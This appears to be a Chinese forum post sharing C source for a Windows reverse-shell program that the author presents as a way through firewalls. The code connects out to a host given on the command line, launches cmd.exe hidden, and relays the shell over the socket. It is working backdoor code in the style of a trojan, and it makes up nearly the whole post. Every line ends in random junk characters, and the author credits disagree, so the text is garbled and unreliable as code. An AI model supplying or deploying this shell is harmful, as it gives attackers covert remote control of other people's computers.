这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,w6?Ap
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/* ============================== :'%|LBc0
Rebound port in Windows NT ;6R9k]5P%
By wind,2006/7 kJ"rRsK
===============================*/ kwUUvF7w
#include 1@{ov!YB]
#include d+)L K~
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#pragma comment(lib,"wsock32.lib") % t,42jQ9
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void OutputShell(); aNKw.S>
SOCKET sClient; yNfj-wM
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B!J?,SB
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void main(int argc,char **argv) NLpKh1g
{ l=9D!64
WSADATA stWsaData; tH;9"z#
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int nRet; %8I^&~E1
SOCKADDR_IN stSaiClient,stSaiServer; 6R^F^<<
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if(argc != 3) :I7qw0?
{ [r>hKZU2
printf("Useage:\n\rRebound DestIP DestPort\n"); ^k%+ao
return; l
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} < w}i
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WSAStartup(MAKEWORD(2,2),&stWsaData); )|v du
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V^FM-bg%9
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stSaiClient.sin_family = AF_INET; u,iiS4'Ze
stSaiClient.sin_port = htons(0); "JmbYb#Z
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); yxx_%9 X
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z)KoK`\mE"
{ XelFGT E
printf("Bind Socket Failed!\n"); W20- oZ8
return; XOqHzft h6
} >.P*lT
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stSaiServer.sin_family = AF_INET; n1|]ji[c
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @ A8y!<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .T8^>z1/\F
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )?&mCI*
{ <5KoK!H
printf("Connect Error!");
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return; h{-en50tN
} } %0w25
OutputShell(); hU(
} \I i#R
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void OutputShell() \4$Nx/@Q}
{ ?~.9:93
char szBuff[1024]; E l.eK9L
SECURITY_ATTRIBUTES stSecurityAttributes; oIOeX1$V
OSVERSIONINFO stOsversionInfo; B> i^ w1
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J%ws-A?6rN
STARTUPINFO stStartupInfo; Hh](n<Bs
char *szShell; C`Vuw|Xl
PROCESS_INFORMATION stProcessInformation; IA1O]i
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unsigned long lBytesRead; W!8$:Ih_Z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :FSg%IUX
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); GPAC0K^p
stSecurityAttributes.lpSecurityDescriptor = 0; vr47PM2al
stSecurityAttributes.bInheritHandle = TRUE; (.oDxs()I
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >@4Ds"Ye"O
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 056yhB
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >Gg[J=7`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aAoAjV NkK
stStartupInfo.wShowWindow = SW_HIDE; ;/m>c{
stStartupInfo.hStdInput = hReadPipe; ocW`sE?EED
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9|>y[i
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GetVersionEx(&stOsversionInfo); Q!~1Xc0S`p
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switch(stOsversionInfo.dwPlatformId) )`5-rm~*
{ D//58z&
case 1: ZQz;EV!
szShell = "command.com"; {XhpxJ__
break; *X|%H-Q:H`
default: h;K9}w
szShell = "cmd.exe"; :1iXBG\
break; <9=RLENmY"
} (o6u^#6
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mMhe,8E&
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send(sClient,szMsg,77,0); AsZyPybq
while(1) /$vX1T
{
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K1<l/
s
if(lBytesRead) N/^[c+J[E
{ l%2B4d9"v
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U_B`SS
send(sClient,szBuff,lBytesRead,0); A^c5CJ_
} ; zy;M5l5.
else mOjl0n[To]
{ i3Nt?FSN
lBytesRead=recv(sClient,szBuff,1024,0); +xmZK<{<
if(lBytesRead<=0) break; Git2Cet
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} r:^`005
} DUm/0q&
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return; A@k=Mk
}